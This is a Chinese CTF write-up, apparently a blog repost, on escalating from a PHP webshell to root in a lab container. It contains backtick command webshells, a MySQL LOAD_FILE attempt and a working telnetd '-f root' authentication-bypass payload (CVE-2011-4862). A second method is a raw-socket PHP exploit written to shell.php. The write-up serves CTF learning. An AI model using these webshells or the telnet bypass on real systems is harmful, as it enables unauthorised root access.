FLAG3=${GZCTF_FLAG:$((PART_LEN * 2))}
echo$FLAG1 > /flag1
chmod 644 /flag1
echo$FLAG2 > /var/www/html/.flag2_hidden
chmod 644 /var/www/html/.flag2_hidden
echo$FLAG3 > /root/flag3
chmod 600 /root/flag3
export GZCTF_FLAG=not_here
fi
/usr/sbin/xinetd -stayalive -pidfile /var/run/xinetd.pid
exec apache2-foreground
发现flag 被分成三份
echo$FLAG2 > /var/www/html/.flag2_hidden
flag2权限644可以直接读,顺便找有root权限的程序读flag3
#define width 1337
#define height 1337
<pre>
Type: Flag 2
<?= `cat /var/www/html/.flag2_hidden`; ?>
Type: SUID Files (For Flag 3)
<?= `find / -perm -u=s -type f 2>/dev/null`; ?>
</pre>
拿到flag2
看start.sh 脚本
if [ ! -z "$GZCTF_FLAG" ]; then
...
export GZCTF_FLAG=not_here
fi
虽然脚本最后把环境变量修改成了 not_here,但在 Linux 系统中,/proc/1/environ 文件记录的是进程启动时的“原始”环境变量,后续代码中的 export 修改通常不会回写到这个文件中!
也就是说,原始的完整 flag 很可能还躺在 PID 1 进程的初始环境里,而且在很多 Docker 容器中,www-data 用户是有权限读取 /proc/*/environ 的。


没有
/proc/1/environ 空的,说明环境已经被彻底清理了
在看start.sh

有一行命令:mysql -u root -e "CREATE DATABASE ..."
mysql -u root后面没有-p 参 这说明:数据库的 Root 用户没有密码!
在 CTF 和 Docker 环境中,利用数据库的高权限(FILE 权限)来读取系统文件是经典的提权手段。我们可以用 PHP 连接本地数据库,然后执行 SQL 语句 SELECT LOAD_FILE('/root/flag3') 直接把 flag 读出来。
利用 MySQL Root 读取文件
#define width 1337
#define height 1337
<pre>
MySQL Root File Read:
<?php
try {
$m = new mysqli("127.0.0.1", "root", "");
if ($m->connect_errno) {
echo"Connect failed: " . $m->connect_error;
} else {
$res = $m->query("SELECT LOAD_FILE('/root/flag3')");
if ($res) {
$row = $res->fetch_row();
var_dump($row[0]);
} else {
echo"Query failed.";
}
}
} catch (Exception $e) {
echo$e->getMessage();
}
?>
</pre>
然后失败不行
原因是Exim4 在检测到你使用 -C 指定自定义配置文件时,出于安全考虑,主动降权到了 www-data (uid 33),所以它无法读取 root 拥有的 /root/flag3。这意味着通过 Exim4 直接读文件这条路在当前版本(4.94.2)是被堵死的。
(Xinetd & 进程列表看看)
/root/flag3 的确切权限。
当前系统里到底在运行什么进程(ps -ef)。
xinetd 到底配置了什么服务(读取 /etc/xinetd.d/*)。
查看开放的端口(cat /proc/net/tcp)
<pre>
[File Permissions]
<?= `ls -l /root/flag3`; ?>
[Process List]
<?= `ps -ef`; ?>
[Xinetd Configs]
<?= `grep -r . /etc/xinetd.d/`; ?>
[Listening Ports]
<?= `cat /proc/net/tcp`; ?>
</pre>

在配置服务中找到线索,其他服务都是disable
只有telnet开放
/etc/xinetd.d/telnet:service telnet
/etc/xinetd.d/telnet:{
/etc/xinetd.d/telnet: disable = no
/etc/xinetd.d/telnet: flags = REUSE
/etc/xinetd.d/telnet: socket_type = stream
/etc/xinetd.d/telnet: wait = no
/etc/xinetd.d/telnet: user = root
/etc/xinetd.d/telnet: server = /usr/local/libexec/telnetd
/etc/xinetd.d/telnet: server_args = --debug
/etc/xinetd.d/telnet: log_on_failure += USERID
/etc/xinetd.d/telnet: bind = 0.0.0.0
/etc/xinetd.d/telnet: type = UNLISTED
/etc/xinetd.d/telnet: port = 23
/etc/xinetd.d/telnet:}
root权限,23端口,/usr/local/libexec/telnetd
豆包告诉我
1. 系统自带的软件
都在这些目录里:
/sbin/
/usr/sbin/
/usr/bin/
2. 手动 / 自定义 / 编译安装的软件
都在这些目录里:
/usr/local/ ✅
/usr/local/bin/
/usr/local/libexec/ ✅
/opt/...
回想题目描述中说的陈旧服务可能就是这个吧
法一:
旧版本可能存在“环境变量注入漏洞” (CVE-2011-4862)
Telnet 参数注入
原理:telnet 客户端的 -l 参数用于指定登录用户名。在客户端与服务端交互时,这个用户名会通过 USER 环境变量传递给服务端。
漏洞点:服务端 telnetd 接收到用户名后,如果未经过滤直接拼接到 /bin/login 的参数中,就会造成参数注入。
Payload:我们使用用户名 "-f root"。 命令解析过程大致为:/bin/login -p -h-f root
-f 参数:对于 login 程序,-f 表示 “Pre-authenticated”(已验证),即告诉系统用户已经通过了验证,不需要再输入密码。
root:指定登录的用户为 root。
最终 Exploit
构造如下命令,利用管道将后续的操作(查看 flag)自动发送给 telnet 会话:
(sleep 1; echo "id"; echo "cat /root/flag3"; sleep 1) | telnet -l "-f root" 127.0.0.1 23
#define width 1337
#define height 1337
<pre>
<?= `(sleep 1; echo "id"; echo "cat /root/flag3"; sleep 1) | telnet -l "-f root" 127.0.0.1 23`; ?>
</pre>
一直加载却不输出,奇怪
蚁剑试试

wk怎么有不可见字符?
<?php
$str = " ";
echo "ASCII码:";
for($i=0;$i<strlen($str);$i++){
echo ord($str[$i]) . " ";
}
?>
#输出194 160
我靠居然是全角空格,赶紧换掉
咦怎么还不行
我靠这个echo后怎么没空格?
最终payload
#define width 1337
#define height 1337
<pre>
<?= `(sleep 1; echo "id"; echo "cat /root/flag3"; sleep 1) | telnet -l "-f root" 127.0.0.1 23`; ?>
</pre>

拿到flag3
法二:CVE-2026-24061
蚁剑写进shell.php
<?php
$s = fsockopen("127.0.0.1", 23);
if(!$s) die();
stream_set_blocking($s, 1);
stream_set_timeout($s, 2);
$p = "\xff\xfa\x27\x00\x00USER\x01-f root\xff\xf0";
while(!feof($s)) {
$c = fgetc($s);
if($c === false) break;
if($c == "\xff") {
$o = fgetc($s);
if($o == "\xfd") {
$t = fgetc($s);
if($t == "\x27") fwrite($s, "\xff\xfb\x27");
else fwrite($s, "\xff\xfc".$t);
} elseif($o == "\xfa") {
if(fgetc($s) == "\x27") {
while(fgetc($s) != "\xf0");
fwrite($s, $p);
sleep(1);
fwrite($s, "cat /root/flag3\n");
}
} elseif($o == "\xfe" || $o == "\xfb" || $o == "\xfc") {
fgetc($s);
}
} else {
echo $c;
}
}
fclose($s);
?>

拿到flag3
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:jacktools123@163.com进行投诉反馈,一经查实,立即删除!
标签:
相关文章
最新发布
- 如何实现 Claude Code 和 Codex 等 Agent CLI 的自动重试
- poj1845 sumdiv 题解
- WebSocket 连接池生产级实现:实时行情高可用与负载均衡
- MicroPython对接大模型:uopenai + 火山方舟实现文字聊天和图片理解
- 关于代码注释的思考
- LED灯珠的测试之一---我是如何用万用表表笔测试的
- 从词向量到大模型:NLP 技术演进浅记
- IPCSUN捷宸电子GC422工业级CAN转4G网关深度测评:4路CAN+双串口+以太网,破解多行业无线联网难题
- 零成本打造专业域名邮箱:Cloudflare + Gmail 终极配置保姆级全攻略
- LangChain使用deep agent并且加载SKILL

